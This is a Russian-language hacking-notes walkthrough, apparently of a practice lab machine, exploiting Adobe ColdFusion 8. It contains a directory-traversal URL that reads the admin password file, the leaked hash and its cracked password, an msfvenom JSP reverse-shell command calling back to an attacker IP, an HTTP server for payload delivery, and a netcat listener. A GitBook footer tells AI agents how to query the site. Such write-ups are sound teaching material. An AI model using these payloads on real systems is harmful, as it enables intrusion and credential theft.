> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/adobe-coldfusion-8-cms-exploitation.md).

# Adobe ColdFusion 8

Мы обнаруживаем службу администрирования Adobe ColdFusion, доступную на порту 8500, которая требует имя пользователя и пароль.

<figure><img src="/files/75894eea4c289a997ab25fe82603a8c32b4304b0" alt=""><figcaption></figcaption></figure>

При поиске с помощью `searchsploit` показывает эксплойт-скрипт для уязвимости обхода каталогов.

<figure><img src="/files/ffb55bedf98ea778461d08c86f4e74e3fd88a969" alt=""><figcaption></figcaption></figure>

`searchsploit -x multiple/remote/14641.py`

Скрипт выявляет уязвимость LFI, которая позволяет прочитать файл, содержащий пароль:

<figure><img src="/files/7402f76cb639fa0836aa1f2c862ca22cefd51198" alt=""><figcaption></figcaption></figure>

`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`

<figure><img src="/files/a0217b5cce8ea9ad6ebc7f3973fc7febb3ffa5f1" alt=""><figcaption></figcaption></figure>

Файл содержит следующее значение пароля:

`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`

<figure><img src="/files/c3d91f0f470bfc4e475b6d4ae8edd2cd5724640b" alt=""><figcaption></figcaption></figure>

### Взлом пароля

{% embed url="<https://crackstation.net/>" %}

Используя CrackStation, мы взламываем хеш и получаем пароль `happyday`. Теперь мы можем успешно войти.

<figure><img src="/files/690957f4c41340433f80a08ca88a97e4fb7e07fb" alt=""><figcaption></figcaption></figure>

### Создание вредоносной запланированной задачи

<figure><img src="/files/50c0c81b0bccd74b0828aa9767856bea1f8bc14b" alt=""><figcaption></figcaption></figure>

В разделе запланированных задач создайте новую задачу, которая записывает вредоносный файл в `C:/ColdFusion8/wwwroot/CFIDE`, где у приложения есть права на чтение/запись.

<figure><img src="/files/31921aed26751efa322415bc500855556ef404a8" alt="" width="563"><figcaption></figcaption></figure>

**Создание JSP-файла:** Поскольку сервер может выполнять JSP-файлы, сгенерируйте JSP reverse shell с помощью `msfvenom`:

<figure><img src="/files/8b724c48a3b49ad688ee91553bc2a40293e72685" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="/files/bf46c188e2267f4228753dec748f99ea4a434d42" alt=""><figcaption></figcaption></figure>

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```

**Добавление новой задачи:** Настройте запланированную задачу на выполнение вредоносного файла.

<figure><img src="/files/54f8c331fa1f24cf0bb3dc27b24fa277c5c24abf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/45cba317cf87a0415501760adf91600dc9f3adf8" alt="" width="563"><figcaption></figcaption></figure>

**HTTP-сервер для передачи файла:** Запустите HTTP-сервер на машине атакующего, чтобы передать JSP-файл:

```bash
python3 -m http.server 80
```

<figure><img src="/files/7b4fddcb7fc35b733f37a42a1c301af0bab3d394" alt=""><figcaption></figcaption></figure>

**Настройка слушателя и запуск оболочки:** Запустите слушатель на порту 443, чтобы получить обратную оболочку, затем запустите запланированную задачу из `/CFIDE/`:

```bash
rlwrap nc -nvlp 443
```

<figure><img src="/files/9ea83f9c7f17065280e7ebc43dc1e6d3c1f6ac3a" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/66014e255676fcaf81b645e40efc2044727cabce" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/cms/adobe-coldfusion-8-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
